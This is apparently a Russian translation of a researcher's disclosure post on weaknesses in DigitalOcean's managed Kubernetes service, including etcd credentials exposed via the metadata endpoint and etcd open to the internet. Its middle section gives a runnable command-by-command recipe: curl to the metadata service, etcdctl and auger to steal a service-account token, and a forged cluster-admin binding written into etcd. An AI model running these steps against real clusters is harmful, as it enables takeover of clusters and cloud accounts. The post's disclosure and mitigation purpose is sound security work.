Недавно компания DigitalOcean выпустила анонс о том, что сервис управления кластерами на базе Kubernetes доступен всем желающим. Так как мы большие фанаты продукции от DigitalOcean, я решил взглянуть, как обстоит дело с безопасностью нового сервиса по сравнению с другими облачными провайдерами.
Если коротко, то не очень.
Выяснилось, что, скорее всего, сервис реализован с использованием спорных решений. На момент написания статьи, для злоумышленника, скомпрометировавшего один pod (рабочий узел) или, что более вероятно, но намного реже обсуждаемо, нашедшего уязвимость SSRF / XXE, не составляло бы особого труда получить контроль не только на целым кластером, но и над учетной записью платформы DigitalOcean.
Критика чужих проектов никогда не была у меня в приоритете. Я – инженер до мозга костей и всегда уважаю и разделяю позитивные эмоции коллег по цеху после создания новых продуктов и сервисов. На конференции KubeCon EU 2018 один из инженеров компании DigitalOcean рассказывал об архитектуре новой службы, и, надо признать, что создание сервисов подобного уровня – далеко не простая задача.
Я не могу рассказать о деталях разработки этой системы, но меня удивляет, что компания такого уровня как DigitalOcean не смогла предусмотреть очевидные вектора внутренних атак. В голове тут же возникает вопрос о том, проводилось ли вообще хоть какое-то моделирование угроз во время реализации данного проекта? Проводилась ли оценка этих проблем или упоминаемые идеи не рассматривались вовсе? Я не знаю.
Я рассказал специалистам DigitalOcean обо всем, что говорится в этой статье, а поскольку речь не идет об уязвимостях в платформе, было решено вынести найденное на всеобщее обозрение.
Метаданные, метаданные, метаданные
У каждого публичного провайдера облачных решений, с которым я сталкивался, были проблемы, связанные с метаданными. Метаданные хранят детали экземпляра, используемого для облачных вычислений, который обычно доступен через HTTP-службу или локальный адрес внутри сети облачного провайдера. Эта часть является обязательной и, к тому же, довольно элегантным решением, когда вы разворачиваете множество вычислительных узлов из одного образа. Проблема с Kubernetes существует из-за того, что сеть pod’ов обычно находится вне NAT с IP-адресом узла вашего виртуального облака с доступными метаданными.
Большинство провайдеров используют службу метаданных для предоставления учетных записей для bootstrap в компоненте kubelet. По этому вопросу у меня есть отдельная подробная статья. Я даже написал утилиту kubeletmein для облегчения эксплуатации этой темы. Поскольку DigitalOcean ничем не отличается от остальных провайдеров, я добавил поддержку этой платформы в версии 0.6.1.
В случае с DigitalOcean проблема усугубляется еще больше, поскольку, как и в AWS, не требуется специальный заголовок HTTP-запроса для получения информации от службы метаданных. В GKE и Azure такой заголовок требуется, что снижает риск присутствия уязвимостей SSRF и XXE, но эта тема для отдельной статьи.
Хранилище etcd???
Учетные записи для kubelet уже сами по себе стали настораживать. Очень полезны и очень важны, но являются причиной проблем везде, где используются. Однако список, доступный по ссылке http://169.254.169.254/metadata/v1/user-data, удивил меня еще больше:
k8saas_etcd_cak8saas_etcd_keyk8saas_etcd_cert
Как видно из названий, в этих параметрах хранятся секретный ключ, обычные сертификаты и сертификат центра сертификации для доступа к etcd.
Причина, по которой эти данные доступны, заключается в том, что на рабочем узле используется утилита flannel
для организации сетевого взаимодействия, а этому приложению нужен прямой доступ к etcd. Через консоль на платформе DigitalOcean можно увидеть соответствующий запущенный процесс:
Если вы не особо в курсе дела, то скажу, что Kubernetes представляет собой набор различных процессов, которые в конечном счете используют хранилище ключей для поддержания системы в рабочем состоянии. Этим хранилищем данных и является etcd, а найденные учетные записи, как выяснилось, используются для доступа к etcd напрямую. Помните про систему прав на базе ролей RBAC, которая очень мешает, когда мы пытаемся атаковать Kubernetes? Наша задача сильно облегчается, если есть возможность вносить изменения в etcd напрямую.
Взлом etcd
Вначале я предположил, что подключиться к etcd нужно либо из кластера или, по крайней мере, из сети DigitalOcean. В некоторым смысле ироничным оказалось то, что подключиться к etcd из кластера нельзя, но возможно подключиться через интернет. То есть из любого места. Прямо к службе etcd, работающей на 2379 порту вашего главного узла.
В etcd возможно настроить права доступа на базе ролей, но после того как я подключился напрямую при помощи утилиты etcdctl, то у меня появился полный доступ к чтению и модификации ключей.
А дальше скомпрометировать кластер уже не составляет особого труда. Существует множество способов, но мой любимый – назначить роль cluster-admin для служебной учетной записи, используемой по умолчанию, получить токен для этого аккаунта (обычно внутри pod’а через стандартное монтирование, но в нашем случае напрямую из etcd), а затем при помощи kubectl сделать все остальное.
После некоторых размышлений над структурой последующего изложения я все же решил, что сделаю пошаговую схему. То, о чем я рассказываю, не является чем-то новым, в том числе тема, связанная с компрометированием Kubernetes через etcd. Если вы получили доступ к etcd, то от компрометирования кластера вас отделяют несколько запросов у Гугле. Поэтому я не преследую цели насолить DigitalOcean и не считаю, что эти знания являются сакральными. Так что, поехали…
1. Получение информации из etcd через метаданные
Конечно, существует несколько способов решить эту задачу в зависимости от того, какую уязвимость вы нашли. Я буду просто подключаться к pod’у и использовать cURL для получения информации напрямую:
~ $ curl -qs http://169.254.169.254/metadata/v1/user-data | grep ^k8saas_etcdk8saas_etcd_ca: «——BEGIN CERTIFICATE——nMIIDJzCCAg+gAwIBAgICBnUwDQYJKoZIhvcNAQELBQAwMzEVMBMREDACTEDCKqW7f2AR5XaWYFsiA==n——END CERTIFICATE——n»k8saas_etcd_key: «——BEGIN RSA PRIVATE KEY——nMIIEpAIBAAKCAQEArH2vsEk0XAlFzTdfV7x7ct8ePPsRm+NwItK+ft9KFfquyHSInAFo6AeLv31zZ8uapmZcFREDACTEDUFpM2iUlgHCH3sw==n——END RSA PRIVATE KEY——n»k8saas_etcd_cert: «——BEGIN CERTIFICATE——nMIIEazCCA1OgAwIBAgICREDACTEDGkp1PuVH3crD2ZdyBnNmzxYfAVqupWrU9wXwFVGlzKkiOTCVImluhu1LK/Jg==n——END CERTIFICATE——n»
Сохраните каждое из вышеуказанных значений в файле и замените n на реальные переносы строк. В редакторе vi должно сработать следующее регулярное выражение: %s/\n/(Ctrl-V then hit return)/g.
2. Использование etcdutl для получения секретного имени токена служебной учетной записи
Токен стандартного служебного аккаунта будем получать из пространства имен kube-system. В основном потому, что знаем о существовании этого пространства имен.
Также обратите внимание на содержимое параметра k8saas_master_domain_name в метаданных, которое представляет собой публичное имя хоста главного узла в Kubernetes.
Kubernetes использует бинарное кодирование для объектов, хранимых в etcd. Существуют разные способы работы с этими объектами, но самый простой – при помощи утилиты auger, которая использует процедуры из api-machinery для кодирования/декодирования.
Перед началом, экспортируйте переменную ниже и укажите для etcdutl, чтобы использовалась версия 3. Эта версия используется в k8s.
$ export ETCDCTL_API=3
Теперь приступаем к получению имени секрета из etcd. Команда ниже должна запускаться с вашей машины, а не внутри кластера. Нужно лишь поменять параметр endpoints на имя хоста главного узла (параметр k8saas_master_domain_name в метаданных).
$ etcdctl —endpoints=https://ac715f35-2fa8-4ba8-9973-211c07741343.k8s.ondigitalocean.com:2379 —cacert=ca.crt —cert=etcd.crt —key=etcd.key get /registry/serviceaccounts/kube-system/default | auger decode -o json | jq -r ‘.secrets[].name’default-token-85kf4
3. Получение токена из секрета
$ etcdctl —endpoints=https://ac715f35-2fa8-4ba8-9973-211c07741343.k8s.ondigitalocean.com:2379 —cacert=ca.crt —cert=etcd.crt —key=etcd.key get /registry/secrets/kube-system/default-token-85kf4 | auger decode -o json | jq -r ‘.data.token’ | base64 —decode > do_kube-system_default_token
Теперь токен сохранен в файле do_kube-system_default_token, который вы можете использовать в kubectl. Однако на данный момент у нас нет нужных привилегий.
$ kubectl —server https://ac715f35-2fa8-4ba8-9973-211c07741343.k8s.ondigitalocean.com —token `cat do_kube-system_default_token` get nodesError from server (Forbidden): nodes is forbidden: User «system:serviceaccount:kube-system:default» cannot list resource «nodes» in API group «» at the cluster scope
4. Назначение роли cluster-admin на учетную запись kube-system:default
Можно было бы извлечь уже существующий объект ClusterRoleBinding, сделать изменения и сохранить модифицированную версию в etcd. Хотя вероятно более элегантный способ – добавление нового объекта, который можно удалить после того, как вы сделаете все нужное. Мы не будем вдаваться в дебри API, а просто добавим значения creationTimestamp и uid для нового объекта ClusterRoleBinding.
Ниже показана команда для создания нужного файла (предполагается, что установлен uuidgen):
$ export UUID=`uuidgen | tr ‘[:upper:]’ ‘[:lower:]’`$ export CREATION_TIMESTAMP=`date -u +%Y-%m-%dT%TZ`$ cat > forearmed-clusterrolebinding.yaml <<EOFapiVersion: rbac.authorization.k8s.io/v1kind: ClusterRoleBindingmetadata: creationTimestamp: $CREATION_TIMESTAMP name: forearmed:cluster-admin uid: $UUIDroleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: cluster-adminsubjects:- apiGroup: rbac.authorization.k8s.io kind: ServiceAccount name: default namespace: kube-systemEOF
После выполнение этой команды должен появиться файл forearmed-clusterrolebinding.yaml с нужными переменными. Далее выполняем кодирование и отправляем полученное в etcd.
$ cat forearmed-clusterrolebinding.yaml | auger encode | etcdctl —endpoints=https://ac715f35-2fa8-4ba8-9973-211c07741343.k8s.ondigitalocean.com:2379 —cacert=ca.crt —cert=etcd.crt —key=etcd.key put /registry/clusterrolebindings/forearmed:cluster-admin
5. Результат
Теперь к нашей учетной записи должна быть привязана роль cluster-admin. Проверяем при помощи тех же команд:
$ kubectl —server https://ac715f35-2fa8-4ba8-9973-211c07741343.k8s.ondigitalocean.com —token `cat do_kube-system_default_token` get nodesNAME STATUS ROLES AGE VERSIONnifty-bell-3asb Ready <none> 8h v1.12.3nifty-bell-3asw Ready <none> 8h v1.12.3
Получение контроля над аккаунтом платформы DigitalOcean
В случае полного контроля над кластером мы можем просматривать любые секреты, один из которых привлек мое внимание, а конкретно – digitalocean в пространстве имен kube-system. Выяснилось, что этот секрет используется плагином Container Storage Interface, позволяющим создавать хранилище, зашифрованные тома (Persistent Volume) и так далее.
В DigitalOcean есть концепция под названием Токены персонального доступа, которая позволяет использовать API для настройки учетной записи и требований на вычисление. К сожалению, на момент написания статьи, в DigitalOcean отсутствовали возможности идентификации и управления доступом (IAM) и, соответственно, нельзя было ограничить текущие привилегии. По сути, токен персонального доступа дает права суперпользователя для вашей учетной записи на платформе DigitalOcean.
Токен доступа, хранящийся в параметре digitalocean, позволяет управлять всеми аспектами: работающими дроплетами, запуском новых дроплетов, добавлением SSH-ключей к дроплетам, чтением данных в пространствах и так далее.
Еще более удручает то, что этот токен доступа не указан нигде в вашем аккаунте, и в DigitalOcean знают об этой проблеме. То есть вы ничего не знаете про этот токен, и, соответственно, насколько я могу судить, не можете аннулировать этот токен.
Важно упомянуть, что текущие нововведения, которые стали доступны при создании проектов в DigitalOcean, не предоставляют никаких возможностей по управлению безопасностью. Если у вас есть токен доступа, то вы можете видеть все ресурсы во всех проектах.
В общем, я больше не хочу останавливаться на этом вопросе. Можете скачать утилиту doctl и лично ознакомиться с последствиями владения токеном доступа.
Автоматизация процесса
Я написал утилиту
для автоматизации вышеуказанных шагов. Изначально я не планировал выкладывать свое творчество на всеобщее обозрение в основном из-за плохого кода на Go, однако думаю, что этот инструмент может оказаться полезным хотя бы для того, чтобы понять последствия.
Как исправить проблему
А теперь о серьезном. Предполагаю, что вы получили предостаточно информации. Пока еще Kubernetes Network Policy не поддерживается на платформе DigitalOcean из-за использования Flannel для организации сети pod’ов. Я попытался установить Calico в кластере, но по результатам тестирования эта тема оказалась нерабочей. Думаю, потому, что не установлены некоторые опции для kubelet. Вы можете настроить несколько узлов, но эту схему нельзя масштабировать.
У меня получилось настроить Istio. Полноценная сеть микросервисов может оказаться излишней, однако установка Istio может быть уместной по некоторым другим причинам, поэтому следует присмотреться к этому варианту.
В случае установки Istio и включении службы Egress Gateway
по умолчанию вы не сможете подключиться к чему-либо вне замкнутой сети сервисов. Если вы попробуете получить доступ к службе метаданных из pod’а, то получите следующее сообщение:
~ $ curl http://169.254.169.254/metadata/v1/user-datacurl: (7) Failed to connect to 169.254.169.254 port 80: Connection refused
На данный момент, насколько я могу судить, этот вариант является самым приемлемым. Чтобы сократить риски, настоятельно рекомендую разворачивать кластеры Kubernetes на платформе DigitalOcean на отдельном аккаунте, иначе вы можете потерять все, если у злоумышленника окажется хотя бы небольшая возможность для проникновения.
Заключение
Построение защищенных систем – непростая задача. Касаемо случая с DigitalOcean возникла мысль о том, что эта компания появилась практически последней на рынке, но не пытается решать возникающие проблемы. Даже быстрое ознакомление с руководством от Гугла GKE Cluster Hardening Guide показывает, что вполне можно предусмотреть хотя бы некоторые моменты, о которых говорилось в этой статье. Если не учиться у тех, кто уже в теме, большого прогресса не будет.
Вот несколько ключевых моментов, на которые, как мне кажется, компании DigitalOcean следует обратить внимание:
1. В самое ближайшее время добавить сетевую политику и не только из-за найденной проблемы, а потому, что внутри кластера Kubernetes у каждого есть доступу ко всему.
2. Удалить из метаданных учетную запись для etcd. Возможно, перейти с Flannel на сетевой плагин, который поддерживает Kubernetes API.
3. Отключить доступ к etcd через интернет, необходимость в котором, после изменения сетевой модели, скорее всего, отпадет.
4. Если etcd все же нужен, внедрить RBAC, чтобы у учетных записей не было полного доступа к хранилищу. Указать только префикс /kubernetes/network, который нужен.
5. Добавить ограничения для токенов доступа к API. Что-то похожее на то, как реализовано в GitHub. А в идеале – полноценная система идентификации и управления доступом (IAM).
6. Служба метаданных должна быть доступна только через специальный заголовок HTTP-запроса (см. Metadata-Flavor, используемый в облачном сервисе Гугла).
К сожалению, на мой взгляд, реализовать вышеуказанное вряд ли получится в сжатые сроки. Кроме пункта 6 я не видел похожих проблем у других публичных провайдеров, предоставляющих облачные решения на базе Kubernetes. В общем, мне очень досадно, учитывая весь предыдущий очень позитивный опыт работы с продукцией DigitalOcean.
Компания DigitalOcean делает фантастическую работу по упрощению жизни разработчикам, когда можно развернуть сложную архитектуру в несколько кликов в удобном интерфейсе или через API. За последние два года эти ребята сделали большой шаг в области безопасности, включая сертификацию на соответствие разным стандартам. Однако простота не должна идти в разрез с безопасностью.
Важно отменить, что пока еще не обнаружены внешние уязвимости в этом сервисе. Чтобы скомпрометировать кластер, должна быть брешь в приложении, которую затем можно использовать для эксплуатации недочетов в архитектуре. Однако, как мы регулярно наблюдаем во время пентестов, подобного рода проблемы на удивление распространены.
Я уверен, что все найденные проблемы будут устранены. Сервис пока еще молодой и хотя уже доступен всем желающим, включая новых пользователей, но пока еще находится в стадии «Ограниченной доступности». Однако я удивлен, что эти проблемы не были обнаружены во время еще большего ограничения доступности. Я не знаю, проводились ли, если вообще проводились, аудиты безопасности (интересно, что про подобные аудиты ничего не сказано в программе Bug Bounty), однако подобного рода проблемы довольно легко обнаружить.
Представители DigitalOcean сказали, что будет проведен внутренний аудит. Инженер, с которым я разговаривал, упоминал, что «Ограниченная доступность» является причиной отсутствия некоторых функций и сетевой политики, которые будут реализованы, когда сервис перейдет в статус «Общей доступности».
Если вы планируете пользоваться этим сервисом, рекомендую учесть все риски и принять соответствующие меры.
Источник: